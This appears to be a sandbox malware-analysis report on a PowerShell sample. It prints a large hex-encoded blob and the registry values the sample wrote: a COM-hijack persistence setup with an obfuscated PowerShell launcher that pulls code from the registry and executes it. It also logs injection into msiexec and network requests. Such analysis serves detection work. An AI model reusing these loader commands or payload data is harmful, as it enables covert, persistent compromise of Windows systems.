3c310d45810aadc71f81306a6dfa6633b0efff1f40601beb1f63e935b49b5926fc0ae6d4a04b06dd9193e8bdb62ef04e97d9198e0daa174d8b9aae6d207ffb0c5a8284c5d8a1e25a340fc8351d87435d591c899b777f3222acbf60de931bd5c4f9d9fc5aa61b6c812292f4e282e38703a5778a8b34c2aaca70f34aa94c9c112369d016cd7530899295b5996a97f791bcee023c31a292f562a7ee2e0798dfc16961c1f9d7cb139b097d6c0587dc49a5901be43a04fc65085c15cd835675cd30cb5465ce8c08d7bb8042176c311d924fe7d063abd449a56a3eee48a1187d36d2a1501dcf452b1de813d8f626c63889ca3461730f38aae6e576be8f6921d6daaadf1d78f19a0c45384c927003acbc4d443aed3da635d2a1e8d1378de179d9e1f0de6b44a5120770897fe40cdf9cca94c042d90362ec2b2d3151ad77c5fcd68b037d4376b55fa8c97b2d4edd25918315e93c1fb52d757ccdc73d3d246057a660e0550db247cc3420742ed3970c92cf4efd3e5738ca312244d6b60028671fbbb74b188d367d7b6aed49213bf7118d0b8eb530b5abaef7b6b56b86df1dc04d7e6b78cf4ae87f7bee0efd5818b3eec7ba58dc58210777d41be400132c852c1c92bd60ac290306b9ef13ac15a4c274a77559a000347517336431b90b219ed9ec447dbdebb67fca6ac09ae52f88d8ed5bb731fedd702e464d0b1d7d7253bfc98c0fc5d7632dc9f549c0c38adafbcb5a2d00f93539d81759f9fc1bff5749f52b7c1e7eb27252e19bc6def2dcf01db75e05fc0f14227289f16ca35716641ef592fc795d78097aeba7fe69c4d053a8744df010498587c0fc01e6e199ed2dab9baf64c99de13fbd1605b2aeb289c15ac68c34cb7fc673605c0a8dc1c7cca49ea010a9315bb41932996f6eb19c5e403d7358f53fa42218d8fef4b4bbe57cd3a9995f9eb277465c37ed9fa923536b7346c726e4331e85b0b8d4582a879e7ffebbeb844c3be45321d8610f5de5b58d6791f7eba205d7399da5cfe3503c991109c6e5a78377a7965752b506b5e0df0681df73713da00fc9042716ae04d553f8a4ca5fa69d043be46c91cf01d27fff1cfc99fa43a525f592642c5bc3c499b0365095a44028e88a493888414d080845b57412aec4ec60d75f137c4703ab269b44998d6c4efc9d484c655d1588fb7a0c0586079def979db225545234edad246f52aea0e5c31de4562f4f3d6ad80803fb94bf7a328178f5ac408385cf5b0c4f0c3334d7706c7b08cb2ecfb505db0694f1234837db80104d7a73abce16e79a9a6c7a094f0b13cbac37b9450efb76fe6db9811635ce44b353e59df199220c29f63ab06efdf332d21eeeb5daad16668e9fcea8f21155ffdf545c21ab7d4dcc145a16d9c39e9cda0b4cb9412da12600aba6809898d091e3cb0592fe0bcea3ee6daa72aa5ed571b6cb0489bffcdf89f98e0ae7b97d7ec9169b94de1ee573365aba8568fbe5a39947b581cee67c5a1501960c64aa79cfccd24520ae567c03b3bfe1c8e1e02ddd78f766db6b293ec70767da82d083d100ce3fc6a470b312d3f412f52542213758366a12b7092d7a979417b69bbb209a367b292d5877e23664257e68cd0a7c9db8c5b59fa760da3c625b0f6d4d062ec0870ecd9572b36803f7e18b380e10ca476ef3dc796d95d2ccc05eb51755214fbba805786477fb5ccec02b95bac1a99704ac8435905ad7b90a9589726d7d3fc9ee342eac3f8e556eff0299c5b36d35ccaabf917577516659db201208de89876c5e8504665b66159daaade3f95bff61f90b26d979d96a21c85acd5e424b3277ce9b799f76b6595281c8d7b5ad659d64f5d5b6a2e04aa53b7e1853a395170fc9d53e8d15c0710c70b939b7791409cd3f00b377fe38eb536b546724750c0215d16612ef36176a88f2420afffbd5170ab65ebee210978c0a71f7821d552072f31f6f667e462b448b8d7d457337bf855338aa5268996aa3bb576b4edd9420d2871ac8e5ac213e125d4f084c82d276b461ca240acbcd90728838800fd52d6a5cc7d1fb71cbbe4978708c6eabe2504cacb941082c1c40f4de7c880e700a9a55fff98608adf4210beae00a3f9cd54070c782bbee1693323cb9001ce85bcf94f87c8b2497f7ca653afc480270da23fee9aa5a8ad37d29c65165053998e5cefd180b2da7c90100a16ac730ac34d055d83752e816aa996fe26eb7b4ab169b69118c170e7c22152223119c10cc31fb1168207eff4663c05686e265f78013e25a300dff0801df84391ae69246130826bdd029e1d71ea0c62fd0608660660886553ff2d1f7d0cad70d7eade57342db1e9ff90792612080f22c1e9e03fd178fc2c03cd696cff5451917dfb80ef7f4f96c9f08901d80cea12f88f90feea40c88ff27ba93c3de6e080135024acff27540abb01dd3e1c57b56dca3f673bc6ae1cbd099fd0b46132664c5fa78e9c99e0ce73bcf678570f7d321820fabfba8ccc97a1652fe234d235e3c8fe5e8193bec8a85f7ada6d47c3984c82bbaf98bea14cb7e8865feb47b7cc25e846a0d99b354b618704b81fd499ef314c63a0f80d5f4dd8ca65c84eb74501edb96b8e9b1bf974895146439dd9c741fb199e685f868984ed033fbbc10cca62ae2776a971ae391047547659e9731b424c9ae1dafd42616fffd63fde6092a2dd32bebfd023626edd04e31d320cc79b685764fd63173bb1ed7eb0549e0547dfc7308e75bdc2d227fe9ead885ac7d83480503e500ba1b0498ba77c04adf634fab339c72be79218770b885ad0c8abf9dd8f561d300b5a0739a81435a966d4d18c8957ea11c367eb236b3c50d279a29a6da7752c3a25ff498811966388139f5507e84a89e816deda4e2b3f3a08323a2e854093678d2dd3e4f74e48f65af2438b71a96d79d8a77d59b59630c041ed9013f1e1d9845945e47562b8d0f32eaaf04b87b455221669a2cab55cb9cd193b32ce6fa74c3e3d81be0298d98f5b8b769fd20ab4ee363feb1c5af65d717a0b9f48a6fc5423a27fa4ddee2cdbfea230e5f64961029ca364b5cedf6dac5ca00847339780a53abc50981ee395b5aa6fc9c2e14264fd22419e07a4ca2f710cad3da27f44e5f8a7524dfdf6df8409c0bf85f18938279686c7395ab112a518e536961c687107ea5b21a60dc85ba3273c3660d785472a0291da831471d2f10c2174f186654b4485c13a48f9c0480b1602a5c690a0aef2df270b132db8efa151b8b0333c9bc4ed7d9a8ef943fbd41ea2d1ef083cc2a13918ddc76e29ef76b2b374d5fd2fee1374cc4fb3984859a6bd8df8ab90585f9c2867e8255b5009178ee41e496bc71fcdc8a1bef7199554895feb60ba7f449651d9b32e018f011d0ab8bdc563bbeb75f38e1311f17866d6d5fbb5d5ca7765e4e3ba663680f55c4d9440322569bb9bcc7d574a52c1ce02b0e73b858e666843c7787a408640dfa2e514f21012a9110c73568c341dac849f40df1ba17d0d6a4bc984d92773935435b289e9d04205c4136c758cebce686d54bf6cc001ffe6cb1f63b0042b864c9e4e933969abf3823c649fc3729aa376bdab6c468ced95ba1f68760ad28d08d5aa23a500e620514ddb1f41debb989d86a78c67d8094ed9bde4d0cdfc10e96603b4c4bd39ec746717b9d9af2f897876e59302f25616a38be92b4f8f5703aa8cfe4336234a43326bae61c5ecdc9488069553339185ad80ff79d5999ac6fffdcd02c142f4cc5d06617a26628ef5562e4d4f041cdf0335b603151ff06842edc7ca5940845c1b932c353fbc818401eabe86920aad20b32b69d1cce59eead9e8337bc90601a570c2e158d9ba12f20521069e62f367a1658817d74a2c8ab490854c773ddacbce9c475ce3c05aba3a67636743aba786415bc4c9924398c0fb6f57f87b794b3c46481a7d6d645dd34a92fa9e4044b9d888ffea9c1b9e70b9da564ef6ffa571fc7e241f9dbc4309bbda0e003c8fbb4f65bb860862b3343cee92e76ff6a230f32c97f74353df8eb4dbd99e5d26251d20045c72cd66c57f25b2b4dfaad7bb9dc73e1fe54bbcdc67c367b047256ec8b5a59f150f9c5de606d96d7514a4c90dfb92b3a0e058d129b8e325a9c1d4b8db7846c9d39542b15c43710c4da20ee9dd3a29850e4b9ed4e29e728aefe81f25e936ccce656f244970b080841d03002c25166c392d550561a1a24e9197d8159f0a28914c1dfe77aa34f2b8428e140cdddf650fda24119e3e3d18c0c268d366f10cb97004460c875fa6bd21beb8dcafb588649e27f1f3f1927a018680968c9613417725b199982704256f617c56c9717b60050fa4f0ce199167e9a165e4a3d7ec20a482ea9044436047df2dc310cdd7524785ed1eb4a64db110aed06ed20943e39979637e8a5195d598cc6bc3db4ad4baa12dec119a3364e87dd3328d5dfb6ff506b86ab3c967759e61349a1965c4a13277e8f390036515f91251273769e75f890a9588e0c1b79e1aa8153b2e9f6ec59f19a4b955916812a1d5c129e7d8354b4f2f3b487bbd27f381fba2c9aa6dcb067fd76e65bdda053167db8c72cd4f7caa517c6b1966e828bce583697e897dddf43fbe5c01e3d99307a3c482819a4de148277ce753784a46760cc6f678f4a2634cb29e4b4d96d3f0c85056ac438b584db008a9af67216d610cca0036a3f259651982890559dc5cf4e464f9b9ad74a899963a14e6c5d2131f76e833cad7278f7b35a7b1730f51b7daaf59cf040161184bfc40669e41d236270a7ddd63417c7d07bbf864dc5287b50c0a3d735860aac7b3ab89a78540df2b172666749f4be892d24a6d26c7e35bce9f739df6c6261f5b8508c14f16de8869c468a00f9cc7b454bd9a07c5b75984182134bc67706808ca9e1ad78f5b1b5ba86c445f2ac5ff65f0894e82a2decf7ec41ab494b35469374ec44c5fd085ca247f3637ba423e4f8e28d77225699cb5068dd0d0f53665c130f4a6d2567987585118211e6a0cb4267df497ab860ad9aec838820de6a746ba8e051db15718e1c33b7fcc7fb209a1cd98751458a221efc0166e6c9eaea928e91cc93ab58a2900f7b4c378266a5370166992619db27b6ac90614862dafdf339a5167a09d66fc2d0d1d31d42d5255c0a6011f05f114613758431988093eaab8b079714ae56efea539522b22191faee9db239dd7b6c3a1bd4091bed049fe0bcf0dcf0bc5c2e5afe7eff92025645438d6ff98f068008da51fcfddb85dcec405be3615ed1c3cd3b49fd19b9f5946fc2f1d0bed331ab3560468a1f8115d9368f860e0a3cbbe4b93176b2d24613fcc7ea1647339131951cecab50001334db30f5c8c204e9ef03d798dddc4098c95ba58856f3dd360426f1d830f8743e42dc883eb6424a3b40953220c3eda67a1e7faeb437498413f13a518ad2a414614ce0cafe774e6dd3bd7ee99f2a14b36512756cec76e5536fb89d5c8a0a48b154870195d91b6d5e821435e11346cb47ae1bbda476d945c88ae9a864376ac9a7d7c2257d6120d12b98fdf1dc0c57b3ac58001cda7f7c72843cbf21420ebfcafb7528bbf0c7c79862086beff4f4c14226701b4f6d43fa6167ccbdb15fe28439cd0f636a903adf10bcf132b889c83ae2120bc75c6bd0bfb1bd7c0ac867de7d2eb36add83e312d9df93cbaeb7ce91f70083c6464bb505e237b9f350219d336892533ef026fa04749db542a4f79199aa4fd452970f3383532cc086d2fa3f8cf8902a6f7d5cae60f87bdd5154374de3c8c911544d75a86e9dced9937f0b62b0c844dd3122b8799f1bd7adf10f0d382efa0889533f75153cec03312aea23bea95dfae38316749dd5756e0c20d383344b5c15f1e80922b2ff99206c66894db0db02fe1363f0e4f6285dd91b6161168a26980b6883b1202b39d89d4a61a1f94f7a35e26d2586398539274f548789e0c3709503c9bb96eef0b1adf5c91f0c954721f56c549250c3516c9d237238182216d3d7512a1c409b29a4f2e6f6c7f58264b8999067702e35ebec21c15d38ec7da8ae49fd3d6c7ad37a4703e6a5778f9b434f4008ab9e353e837bd476b03339077aaa61aeb31bec16ee833ced49ec79aa6188287f65f2a3d6fc6a3c377af6292545588e0fb4958c05a71970b6f3b40e77f36719b67a4e5ee75aafc95f8486998aaddd6271a79299f558a4da2ea0fc53013aecdf9d3a5063ead8090cd3dfdfede4a6faa3592185a3b23f058ccb3e309d395182a16019a5fa34628611257d7d0c999583a0f156704d063b7898383fe3f1c2ed9d85c07969db62f2833470445492dec0050596e50b2f8452872b0844e0ea3ddd422ddaeacf92156697711ede9b221b7240218afaf67b2c6bd881cef1b5484533f9f3019ba056478f5d10463ab27117209d77657fe12783822162b2302669751dcf470709702d054c98779fe39c4b08eb7447872068e9849729790345b5fed81f8f0ecc29afc9f09dcd14ccab38c5ace1678630664741f4fbd2fc4c7bf403d35847d53b16040af46153782ab130c1a2b523ca70b089b5dbefdb9a0b306b608c323922bc3680c50bc050951512ac2f131adf40dfc9fd297d80a70517f8edbd44d9ea13b2d6b87eccec47c0e94b303d81f6ab4a22287c29b84cd0e0304e2f9b73d4c3d455328630aead422655516082005b8ee3263f5855da2c3179367fad4de1b1bed949c8121cee2c80dd38d44882ec9d9c605564a90d3394a3cb1d52b3546093936f6a1c1623bcda13980675684b84f4554216b1146df0d0fe97a2c86f88f328fcdcb602d37e207b5a30ff6d20b62451d9e247b501e29d7834c6f811b08abacdb96a682ad377fb2f7a42f071b4fb5f2abbbf0c1608335247f32d584785910e7b7579f91d38908c439554347ab8c97f74cf01c20713a088bdd27637c9fc525ad4d2769f97c3c7cef8c58da637fef2d8004e86bcfb022365a4cd96bbf7cb03adad8eeda0589536b91dd939e061554a25476ad6dfebab555ed39011de60a0cafaf2943d58edcb36fa888322acd34442429f6c3a755e64f6a1148a0c19621cf0f6735a82bf0478914fe6b1266700687026df545cd0bee8b67e4a61cf12670975629bebd1fbaae5741cd5c8f51b8ee4f1e481d4a684193086d888c12c3e4fd5ea1388c638cc1de54b79f49fe6288af477323b7677173af9fd8bf5a16eaa7149dd7c3812db8f4b9d4f8fe049bc5723c90b3d0522d28576b12b180cd3c823145bbbd2f3c2f03eb721b430100e58f4726e62eae34014de6ca2bf540248c1cfc2a16f00210a3c4d07bb74d7d9330667bd161652b69d3e6c02e4059f482d676b84205d2903e7c5e39f85b69b58eca737a300626c1b771b7a9446eadc0ee5755a4579bc71293f8063c53c7ba1f5a99a5cf9aaef7c6995ee88b5d2f2d1c5be80ad1b9626cfce13b0e7e6ad7fc33c67e58fd218691818891837cf4f9ac1f9342b5f6ce154537b1538d81ac554fab2573dfb24a904f9565d3e2c92b641d1f8be96849a42872e532f5f735e46c1d6a796164250e60e96aa2441b32d7c6db37ff6b627f9a2a5be80dff4e1cbdbcdac59df08a036769b3e15886891672b06426eb9b69a8fdfd40145612a7d3a203d35460a2afeba9349b222bf1cb9bc6922a7680450b3fb4bf051be1f51e0b2fde935445901d1cc9a88caa66948b15ec1bf1e6a8fedc613567195a6bdec44dd07cae0e683fd4327e26d90f83b7c2f0135da45797a3ce56a21beede50a5277cdcdc0c262390ffd0e4c6b3c53617ca697f9eef579555620ceecc0c076ddadcc17bd19c124ef0cac6ada8f75fe7d952c46db8d2a9f0cdb5bfb7725335f43bb18aa3418a880346413c202fc5a75b8ff41649eea7b1d40ff3a0f89395c188d8e487b7878cf37ea00c6ccb865586bbfd8e8207b061eac189f686111d77f8cbc9c34a7c77916da97642240fb3b938ec86a3e0b424e276fa991427e9aa9217338dffbeabb291e51444956fa6ff9d0f0a2a483f52b693cd16637fe82030edd5279c8c1d2828cd6d6c20732694614c9990bc0ada7619e5021842d8ada4856fc75c2789f35216a123934779a9cbf947e0bb9574b550e30a565d26b75d710f0918b467f6ef73be78a8a1d01fe4aff5b1dccb06e5cdb010a40ca101acd535c952201af4cc2cde5dbe30f5909dee7be2552db75646af6f93b37ed3ad50b5d3b1a58fd3c094f86fab66ce3c01910f921cfc943db6166f616562e02b1b8a2108ca5f190e2f370677beed58338871e75a51597c4d9c7f8c6208a9b2296eb209d96e89eb49cd3235e1d50982c71a9af87ef5b843e404e35e81db814df16f1ec942f49a8a6a6dfd2691e97737e5df2701d8443eabcc4b006deb2751262e014f1672adda1158a12c0c2345b36a885347c657f12729400755bbacac5d5c62f2868c730f0a3097b7cef66e385142d026537052b01ffe1157d3750b9f480cf0fdcad97b31cbe2de2e891751050272fd05ca86045f5a789726844b14745c7f608ebdcff4851411d6dee56625ea344136b9d17919eec20e1d454c31a07487a72603084a357f23827bd4005281dac8e06cffe8deedfa03a93440e03e84c6041851b93cea57bece71e6f1b513125aa838d017c5f4054562ebcfd34e3a4bb8c9443f13a66bbb4d9e1d559d401de7b7d7ac3fe54eec440f09ff572a9a15c87dd759a86b3e0772147f0c4298559fbbd6cb58c7ca820ce7d9f613c2bab01c7b500f66e69b2d090aeef27e75267a39b6ec2e696c6ef9172d17c730eee449940d0d69d1f74ea88acc1a23cc2f5d18810ab1111261059f66a3d6b73729094a5ab4a285b2a1f9a46308ad9097f8a60be0e4ab2a8bcc1fa65791cd9792f696b277595fa8ed645c3c06626bb3695bef8869ba45d697bbdf6bc615563057f9e2b4b47b0ffdf5b3be8138791488df0496933313380089f5722e749ec930967224c715905b5eed1ee35590fc874b4d900ceceb61c860645ed46cff53cff55641cae45341eb4752bcc1d65060b5e001efe7c737c67a7388c6447d92154f8779e49b30bb543b8a99cb0e060fdfc7bbf1218c55f0c98816782d351ca2fba545d82a44b4182d172321453062a01ee1907fc7d6bba1f264a93f041bf38b3df3bbffc0c017e961138932ae80798574ca04a7c2d151736005306d4da644c954eede15b6f280b65ca6e33afe305e23ca775f4ae08812353cf0a4e8517cf1642a80a58b29a97354f4d0e72e3eb7cdcdbd38c456054d926381e49dcf6655bcbfc8d6d1b06c9aef3c746ffdaf23ddff517f006ea290fbd538864bf167199a2751c40450ef5ec23ce79f78952e74affe1d953e37407411ef9d090eeee15166bcfc5d9ab227d61ef60e9b6b659b31c483f484ce60030121c4409136c6ca3d67d530ba45600ee8d2cdff0c706f9a31c9bdcc08d4e9df95b7a30c6412e33fea7cbee04beaa118621c8145f8a06b4c89b5cd26f8226db97b5ced6fea20fbf8422015fe80456e6fd4f03b564949ee6950e71c1c3c805b600a78cc3a5665a216dad2d338879aaf0856ed3609aed9dbb6b6682e5fbeb5d8c20be90186967b8b7e7128114bb2744d0a56d9adaa05c4af62034fa146f15fc0246f9f22ae104a8bcb134ba9dc893a51ed8856c5d12b440a886a32a57c249ef10b928b0873f6d6c3fa8431abbc76d3aed2b0b4fe9c37b855cc985bb54d479e2cae4f581318159d676f95d223306b08eb5f294fb9a879c662619031e4051e072b595ae4d29faf9a2e50c677451d01c714560926c25c0f042df6341709d87101bb4319e84b53d03a25f8f375deee458a600104abd633a4bf436a468a2e2fadb94ecebf3a3ffedc85c5bcad347b8adb324ccb18f82166367168f9c9bc0f59dfd1d97697955a7ed02d23a0777ee9111cd37491348f058735ddf9bdbe0cce56f2799f9256c4497ff8eeff2a82c6ff03fdbc4d48b7b3151234c1ae6b9f681afdc63df5c5f9580f4269a0c44dfe0dd77adafd36c4173b3d23299f9a0a703c1f214c015a358c777bfd6d69af5daf10961f2c08faa2692282fdf1a5f99b3b75846bbfcd5626f64a95eb2514dd0d9e4fce822eb846dd0cb3a73e52bf39bdddc948c11aa2dd8d29c3d16c9fa8a1b80e773ab72cd78bee26eb619de304d820aa57d84f3ee984e56aa945a5a12b1d14e4062b86aeb9d7bd07b80b877a453957a782d14102880fb64784a58994469f12e1ac6a80e43c224e1e73d25eb5a7930960364260cb8d840234ad08cc5c744e0cc13b6bfc4a7a25b3a3cf65a7a87678680c161a2d7d858227080e3e30daf99dc4c7e95cb4e8b7a075fa1a3dbe04e35039a5f5a2779a7289acc30f9862407814170c08fdfcbbe8b9beda3291881002fc1259d9538316240f52736e170567a8683cf95e4a801ad801739e8cb39165d4a293e3b342f80ff257eb7c874e639349ff6ec30573ca95070e6e1a40126a826876367f71c59eef9c6e16f2a1e16cbef1849b4aeab50ddc1d53db3c9ecc11bf250d02e76f76e91bf7b1d0b9b0bbef30f7d1fa008ba1d76d8a49bfc77093f0e5a21d1da86da59bfe44c7524a5f75f8c888ea5879324d7bb0cd5d3360b52196f083cdc8dc178299e8340527e4bd9cb3431b714774b7bdc856955d94ff89e2370200db0524b45e76190da53af8eca15da609aa86304b3720d720d0d7b89bb9cd4dad1c9d549a0318b15a9dbcfc485ebbdaa2762582e1637c87cc83d3cf76cebb650f9d472e55175b630ee50b6608e30f3848136d1ef5eaab3e046e2385f2df920106e2f8af757d70c744e9523c2040cf9329ff4cae4e27461124a3815e6b704cc1fef66a17b7b422c139387448fd4e49f6becfacac5b1b9c6fe0baaa4cbbd7dff330fbef8d1ffa73636b57e7a23e869a5d3d3fd3c8741fb220670063a47155ec2607d8ebdf936599dbea5ea8b9f03711312062ba6f160fbcadfe583b161723075734246dfe6c5a5e1a563ed3c73259bd018d3891b1d30143f32baa5f64bb75f6c3a433dd60b84c13b6fa504c8266cd7f6db0cf9618ffb2527f48c019fa7eaf82da9643784733f5a1ef532b0015fa766fa46b4131b9de5f6c5eab2cf9b7acc544b49029250aae34ae8c87f68e84149d9bdda3f1e39ba02d26fe79608f23f0bdbc4dcbe0e1ae943b2cf77a068e7bdf76219771afa0f4c18d759069029b64f8d2ffab02567484ac2ca596ac308c8376c3cd105496c51818ff94c549283b815932a865658d7cadfb009cdf6e8ab44f2b26edc0a8d7ef72fb479866391312d37f340ae925d13fa818457584cac7e1bdbe335417327a50500bf5f2b2ab5e67c44477c94753db2267f0c1fe88a9fae96712dfa2209eb1ec467c087450db10a4b30c425ef619ab63181277166c2f6b35240aa152f9b95ccf8a388021c14f265ad9dcc20e2a20aa3b2cdfa355f63bace10b5374c280515a22b59afe430f9debbb29011c017d02ad28631a80902aa93a4a7f4f515c774463f499f8f3f75a81b60527cd5e13d5da243ee31861c47be2b436864045d9003f838105f8bfbe5e7337424000bca575bfb108367dc19777f039b7c20a9440960cb4345135ef95810f2172fde02e0565bbfdbe35b28e023d9a34bef49d976981874720fdccdb632490f2f6282d01f7f9755a7d0dd8e7671c5df83c95f8b3e5f7761926154313e3328c9281899677298e6b4f19d03574df1b0d156e2b06408f707558938dd272e87ce4a3baaeac75851a5f708646f6f7e7e9cfbe83a2711ac49a8f3cfa317a56148c3cde7f4536d90cb21f6c39c3eb8f2dae646a2f4f5ac4a4efa50a03945bd1a3f62113c6e2550a7ae236e367fbfb1f7b4222810c9b59c139c1fd6ee8a67ba5cf38f2cdfedb600dd977a643abc04055502b7621ed6ff982bb5f6858ee8b7a11c29ec1755bbce2066cc17800f1cdc36ca6dbce9dd5f504caa8e76a15f90acaf6921c3db1fb936c57395da8ec80eaf1a4d52506ac9ededcdd08a79e337a63180d5eac17cfd8d930ec67b4f4bcc3d2577ffeed223201096e1d38d26e06db4f981adb6bfd772970ee669922040dc3d2981c8550781eeef4ecacf270b3205d0eab0e1156d69a68da7902cb47f9cc5da1e5dbf6234ca7cea5fd0d5dafb1841cf0c293fbefa08fc890b1532308dc77fd94e2bbbc0c2b07f785f0a4491004d36a115ee8c472e0bda6fa331eebfc88fd261dcc4021c2b24e71c969039bf39142f691186ad058b8a77cd8f14eae2d1ea1a9f9df02b67d70ccc7d20cb53f03296aa02a2191657e70979c48c2f2083693f649c96a598fba034b0786e2529117c47c3a3f0e9dcc9c0e73c128f9603fbd48d6cdf0aa4e74c3cbf7455c6b84fec88296e87abd90953f4715bd0c0c8ca26d7534b9293fb1ba8677a4e6c94d1887e1a28400faa3aa1bb636f261ec7d4e057f817ec9833d3ff9ef794093f3283a5b605deb96d80451562d4bbc51e5022e935a75d3982306c2faae92d04630501808ea4b66cc650221a72d14d82919701bd4af1705c681b1ba3efdb8ef871d6b865be8e5ee4ff55826c79f372353e4da04b244edf29dc9ad3fd672dfeac7274c760201deef46fb4bb46fd77e947986c75bef7c22d52b1308b13488b7b3dd39c46a5b6ca6cfe62a3489dc7cec826a455d1d190896e96d9820d54047339a5fb7d5c84969680cc7429b21eb10638e7f5029631f6c4e89f76796458136b4ed8276f857a2bfc5fee58378dda3e64c985f4a12d6cdcd3469ce77a88d3093040a8ffe8d8061b066ba4703d88b61f95fe2b754c9e43c27bae2ac60be1b607942b935f2d2fcddf218a8b78a34d5c0593ae2be80e644d9c3b18090861dd660dbb46d0acbfbc6973cfbd5f528e1769f0d8e512051c8c0539553bec504976e0e6a2ab6009aacc1ccb024c6859198ac2c4e04faed6581906869c4d8c85561152c917856a20879541cd25158475475858e766170d0f46c42cc77b9ac68a40e1b141a2c7019e45e99e39fad9d8a64cae1eb0b65e6c8ebdaf7646865094b88beb3401e83de271356f309f2a169a9c355a4d8effc6fd1ecad520a3e7b8a24b6215abd3847e1ed36dcbd9c32f9c09faafae3d6ff2832b3bf53c2a3f3cd70ba4295721ea3255c77b93afbbd12e3207d022f1f984e86affd6e95ea15bc1f4ed109377b0a0a0fc685fb3374537377d9b2fdbf2a2b8f681c0cf30a40ff63fe29fdfdf58038d3cd059811ccb6059f9671d73b8f901f127cea1265182578ff2065ff0126ea7e655b22fccd13a0b7151c64bbb5a3beeb4bd7e1352a733ae2985c9721b507349da76efcd5e2e07932716390e31c314e5058dd296927b3ed3d23639c6ffbbc919e78f15ecf3b2db22d25a558a50f218777a8683f84eaeaea1cb3be6edc1c2db4a527472267124ef0160ed974e04c85c9b84a5fdf36e3bc988702494613705710762a8a241274ab419c85f523ae2537d6f52a2ab3580c2665d3ee2edd0960561128badb23774e5567e09db4cc39a0b00aed80fda721444f1d49e1498613f976581cf65d21879e151aa78ad985b29b84dd1b73719ac07d709121da2c3356292ea90433884694a8927c63a91466f933fb5c02ab83121f57b26b2c47eb73d446a2b9d5baf34dd1473797568dbda241f64bf4d38a1fee102d9cab81d60e105b2394824cb4bacadf0a73559941f4ed8bc1e699b067b72c30b24faffe025b974fd553e73f7c9e8ed350c439ee1b57f1032663010d85f45060efe3e3de994296fc62b817bea89fff9b197784001307690756810d06a8386033c59276c7ea1d427011bd289ed7d9c4472bcf652709a6ed9021c4ecdf089280e30cdc3bd8f76b8ec5ce9fd3fb5654aeff0bc818307d577ea684b4759aba75ddd3e2fb1d65d8f179e47d872f82bface4f989f4cd207de133581f6d44b8465bbb767e0a750b21492626282d6f98d0c8e334abb3fbacbc424c6479976272e891a8b6682e0cfb3c10d726671dc37c0320003110a38d876697ef9fab10f87e25d0f1bf03417d33bec3f86ebfab0eb5628cbf34519532b980d8bb527fa6f444d821741deaddea1c22903adf5d575c2e28945c0da90a2e73da00d157f8bfd4add2f9ee989cddfab4313371e789fff7e01 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{03010E0C-1010-0E13-0B04-110B0C0B0608} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\ProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\LocalServer powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('246661636F736C3D2730333031273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30313034303030422D304130412D303530462D303930432D3043303730433031303330317D5C50726F67494427292E246661636F736C29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\VersionIndependentProgID\0104 = 48453f2a5333284929612c5d527b4c3e544b5b51464f653578302731236b7a6e282b684725244072425a364162505c587075392d775e5926223a347d735f7c4a377e4e766f38433c6a33756e62316c67797a35636639686b32763770736f6a6438617434366d7265782f5e6d30297a51332e67463831396f373c5c3f21693d4b2c6e3a4c277b23725f254a4f3450545665497d7c4873614d66777e6278646c2a445b7555715d2b795335524e22577036602d683e6b403242432476596a45585a63472641283b74 powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0904030D-0D08-100C-0812-0D0C0C061011}\TreatAs\ = "{0104000B-0A0A-050F-090C-0C070C010301}" powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 4580 powershell.exe 4580 powershell.exe 4580 powershell.exe 4580 powershell.exe 3540 msiexec.exe 3540 msiexec.exe 2116 powershell.exe 2116 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 4580 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4580 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 4580 wrote to memory of 3540 4580 powershell.exe msiexec.exe PID 4580 wrote to memory of 3540 4580 powershell.exe msiexec.exe PID 3540 wrote to memory of 2116 3540 msiexec.exe powershell.exe PID 3540 wrote to memory of 2116 3540 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1728.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='3854';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2116